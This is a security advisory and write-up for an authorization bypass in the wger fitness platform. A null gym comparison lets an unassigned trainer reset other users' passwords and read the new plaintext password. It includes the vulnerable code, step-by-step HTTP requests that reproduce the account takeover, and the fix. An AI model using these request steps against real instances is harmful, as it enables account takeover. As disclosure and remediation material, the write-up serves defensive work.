A trainer with
gym.manage_gymand no gym assignment can reset the password of any other unaffiliated user, receive the plaintext password in the HTTP response, and permanently lock the victim out — all because Django ORM object inequality silently passes when both sides areNone.
| CVE | CVE-2026-43948 (NVD) |
| GHSA | GHSA-mhc8-p3jx-84mm |
| Severity | Critical — CVSS 9.9 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-863: Incorrect Authorization |
| Affected | wger ≤ 2.5.0 |
| Fixed | 2.6 (patch on main branch as of e1d329f) |
| Authentication | Authenticated trainer with gym.manage_gym and no gym assignment |
| Reporter | @whatisproblem |
| Fix commit | e1d329f — "Implement better gym membership checks" (2026-04-26) |
wger is a self-hosted Django-based fitness/workout tracking platform with a "gym mode" that lets a trainer manage members of their gym (reset passwords, view contracts, edit admin notes, etc.). The gym-scope authorization model says: a trainer with the gym.manage_gym permission may only act on members of their own gym.
That model is enforced by an inequality check between two userprofile.gym ForeignKey objects:
if request.user.userprofile.gym != user.userprofile.gym:
return HttpResponseForbidden()When both sides are None (i.e. neither the trainer nor the target user has been assigned to a gym yet — the default state for newly registered users), Python evaluates None != None as False. The guard silently passes, and execution continues to:
password = password_generator()
user.set_password(password)
user.save()
return render(request, 'user/trainer_login.html', {'password': password, ...})The freshly generated password is rendered verbatim into the HTML response body. The attacker reads it out of the response, logs in as the victim, and the victim is now permanently locked out (their original password has been replaced).
The conditions for exploit:
- The attacker holds
gym.manage_gym(a permission routinely delegated to "trainer" or "gym admin" roles, not just site admins). - The attacker's own
userprofile.gymisNone(true for any trainer that has not yet been linked to a specific gym — the default after permission grant). - The victim's
userprofile.gymisNone(true for every newly registered user before manual gym assignment, and a permanent state on instances where gym mode is not used at all).
That last point makes this a broadly applicable bug: every public-registration wger instance has a population of gym=None users by design, so any deployment that delegates manage_gym to non-admins is exposed.
wger/gym/views/gym.py — reset_user_password() (and the parallel gym_permissions_user_edit()):
def reset_user_password(request, user_pk):
user = get_object_or_404(User, pk=user_pk)
if not request.user.has_perm('gym.manage_gyms') \
and not request.user.has_perm('gym.manage_gym'):
return HttpResponseForbidden()
# ⚠ The bug. When both gyms are None, this silently passes.
if (request.user.has_perm('gym.manage_gym')
and request.user.userprofile.gym != user.userprofile.gym):
return HttpResponseForbidden()
password = password_generator()
user.set_password(password)
user.save()
return render(request, 'user/trainer_login.html', {'password': password, ...})There are two compounding mistakes:
-
Object-
!=semantics.request.user.userprofile.gymanduser.userprofile.gymare DjangoForeignKeyaccessors that resolve to aGymmodel instance — or, when the FK is null, toNone. Python's default__ne__onNonefollows reflexive equality:None != NoneisFalse. So when the attacker is unaffiliated and the victim is unaffiliated, the inequality returnsFalse, theifbody is skipped, and the function proceeds as if the two users did belong to the same gym. -
Plaintext password in the response body. Even after the authorization is fixed, returning the freshly generated plaintext password verbatim in HTML makes any future bypass instantly exploitable. The response template should at minimum show a one-time reveal screen, mail the new password out-of-band, or — better — issue a one-time setup token and force the victim through a setup flow on next login. A cross-tenant bypass with no plaintext disclosure would be ugly; a cross-tenant bypass with plaintext disclosure is the difference between "potential impact" and "single-request account takeover".
The same gym != gym pattern appears in other gym-scoped views (admin_notes_list, documents_list, contracts_list) and in trainer_login in wger/core/views/user.py. Those are fixed by the same patch.
Pull the official wger Docker image (the GHSA confirms reproduction on wger/server:latest running Django 5.2.13):
docker pull wger/server:latest
docker run -d -p 8000:8000 --name wger wger/server:latestCreate two users (either via the admin UI or python manage.py shell):
trainer1— assign thegym.manage_gympermission. Leaveuserprofile.gym = None.alice— regular user.userprofile.gym = None(the default).
POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
username=trainer1&password=<known-trainer-pw>&csrfmiddlewaretoken=<csrf>
→ 302 Found
Set-Cookie: sessionid=<trainer1_session>GET /en/gym/user/<alice_user_id>/reset-user-password HTTP/1.1
Host: target
Cookie: sessionid=<trainer1_session>
→ 200 OK
<tr><th>Password</th><td>{{GENERATED_PLAINTEXT_PASSWORD}}</td></tr>The body contains alice's brand-new password, generated server-side and never sent to alice.
POST /en/user/login HTTP/1.1
Host: target
username=alice&password={{GENERATED_PLAINTEXT_PASSWORD}}&csrfmiddlewaretoken=<csrf>
→ 302 Found, authenticated as aliceAlice's original password no longer works — she is permanently locked out unless an actual admin restores access.
To prove this is None-specific (not "trainer can reset anything"), the GHSA executes a three-scenario test:
| Scenario | Trainer gym | Victim gym | Expected | Observed |
|---|---|---|---|---|
| A | gym=1 (admin) | gym=1 | 200 OK (documented feature) | 200 OK ✓ |
| B | gym=None | gym=None | 403 Forbidden | 200 OK with plaintext password ✗ |
| C | gym=1 | gym=2 | 403 Forbidden | 403 Forbidden ✓ |
Only scenario B fails. The bypass is specific to the None == None ORM-object trap.
Demonstrative scope only. No real user data is exfiltrated by the PoC; the demonstration uses two test accounts created for the test. A real attack would target users known to exist on the instance (registration is publicly enumerable on most wger deployments), enumerate
gym=Nonecandidates, and chain account takeover into whatever the application surfaces post-login.
Patched on main by commit e1d329f (2026-04-26): "Implement better gym membership checks". A new helper is added to wger/gym/helpers.py:
def is_same_gym(user_a, user_b):
"""
Check whether two users belong to the same gym.
Returns ``True`` only when both users are members of the same, non-null gym
"""
gym_a = user_a.userprofile.gym_id
gym_b = user_b.userprofile.gym_id
return gym_a is not None and gym_a == gym_bThree things this gets right that the original code got wrong:
- Compares the raw FK integer (
gym_id) instead of the resolved object — eliminating Python's__eq__/__ne__onNonefrom the comparison entirely. - Explicit
is not Nonecheck — the unaffiliated case is now an explicitFalse, not a silently-passed equality. - Centralised — every callsite that previously inlined
a.userprofile.gym != b.userprofile.gymis nownot is_same_gym(a, b). Even if a future contributor reintroduces the buggy pattern by typing it from memory, code review has a one-liner to point at.
The patched callsites:
# wger/gym/views/gym.py — reset_user_password
- if (request.user.has_perm('gym.manage_gym')
- and request.user.userprofile.gym != user.userprofile.gym):
+ if request.user.has_perm('gym.manage_gym') and not is_same_gym(request.user, user):
return HttpResponseForbidden()
# wger/gym/views/gym.py — gym_permissions_user_edit
- if user.has_perm('gym.manage_gym') and user.userprofile.gym != member.userprofile.gym:
+ if user.has_perm('gym.manage_gym') and not is_same_gym(user, member):
return HttpResponseForbidden()
# wger/core/views/user.py — trainer_login + 2 ListView dispatch() methods
- if request.user.userprofile.gym != user.userprofile.gym:
+ if not is_same_gym(request.user, user):
return HttpResponseForbidden()The fix is on main. As of writing, the latest tagged release is 2.5 (2026-04-15) — the 2.6 release that ships this fix has not yet been cut. Self-hosters running 2.5 should pin to main (or wait for 2.6).
A separate hardening — not strictly part of this CVE but worth doing — is removing the plaintext-password-in-response pattern from trainer_login.html and replacing it with a one-time setup link mailed to the user. That would have made a one-day account-takeover into a multi-step attack even with the authorization bypass.
- 2026-04-17/18 — Discovered during automated audit of the wger codebase.
- 2026-04-18 — Reported privately via GHSA Draft to the wger maintainers.
- 2026-04-26 — Fix commit
e1d329flands onmain. - 2026-04-28 — GHSA-mhc8-p3jx-84mm published; CVE-2026-43948 assigned.
- (pending) — wger 2.6 release expected to ship the fix in a tagged version.
None == NoneisTrue.None != NoneisFalse. ORM equality follows Python equality. Any nullable foreign key compared with==or!=is one missing-row away from a silent bypass. Whenever the comparison is security-critical, compare the underlying ID with explicit null-handling:a.fk_id is not None and a.fk_id == b.fk_id.- Centralise security predicates. A grep for
userprofile.gym !=across this codebase would have caught five buggy callsites at once. The fix'sis_same_gym(a, b)helper is now a single source of truth — and a single audit point for future reviewers. - Don't return secrets in response bodies. The bypass is severe but the severity multiplier is the plaintext-in-HTML response. A "reset → email a one-time setup link to the user's verified address" flow forces an out-of-band channel that a cross-tenant attacker doesn't control. Treat any flow that puts a generated credential into a response body as a target for hardening independent of its current authorization story.
- Default-state attackers are the realistic ones. "Trainer with
gym=None" sounds contrived until you realise it is the default state of every freshly created trainer account before manual assignment. Bugs that key off "default state" are the most exploitable bugs because operators don't know the default state is dangerous. - The same structural bug class is rarely just one CVE. Five views in this codebase share the same comparison pattern; one of them is in this CVE, the others are clustered into a sibling advisory. When you find a
None-comparison authorization bug, immediately grep the rest of the codebase for the shape of the comparison, not the function name.
- CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-43948
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-43948
- GHSA: https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm
- CWE-863: https://cwe.mitre.org/data/definitions/863.html
- Fix commit: https://github.com/wger-project/wger/commit/e1d329ff4ef6213b0a1adc5daf115e6d8981190c
- Upstream project: https://github.com/wger-project/wger
- Related (same root cause, sibling cluster): GHSA-c72h-82w6-rqfp / CVE-2026-43976 — embargoed at time of writing; will be linked after publication.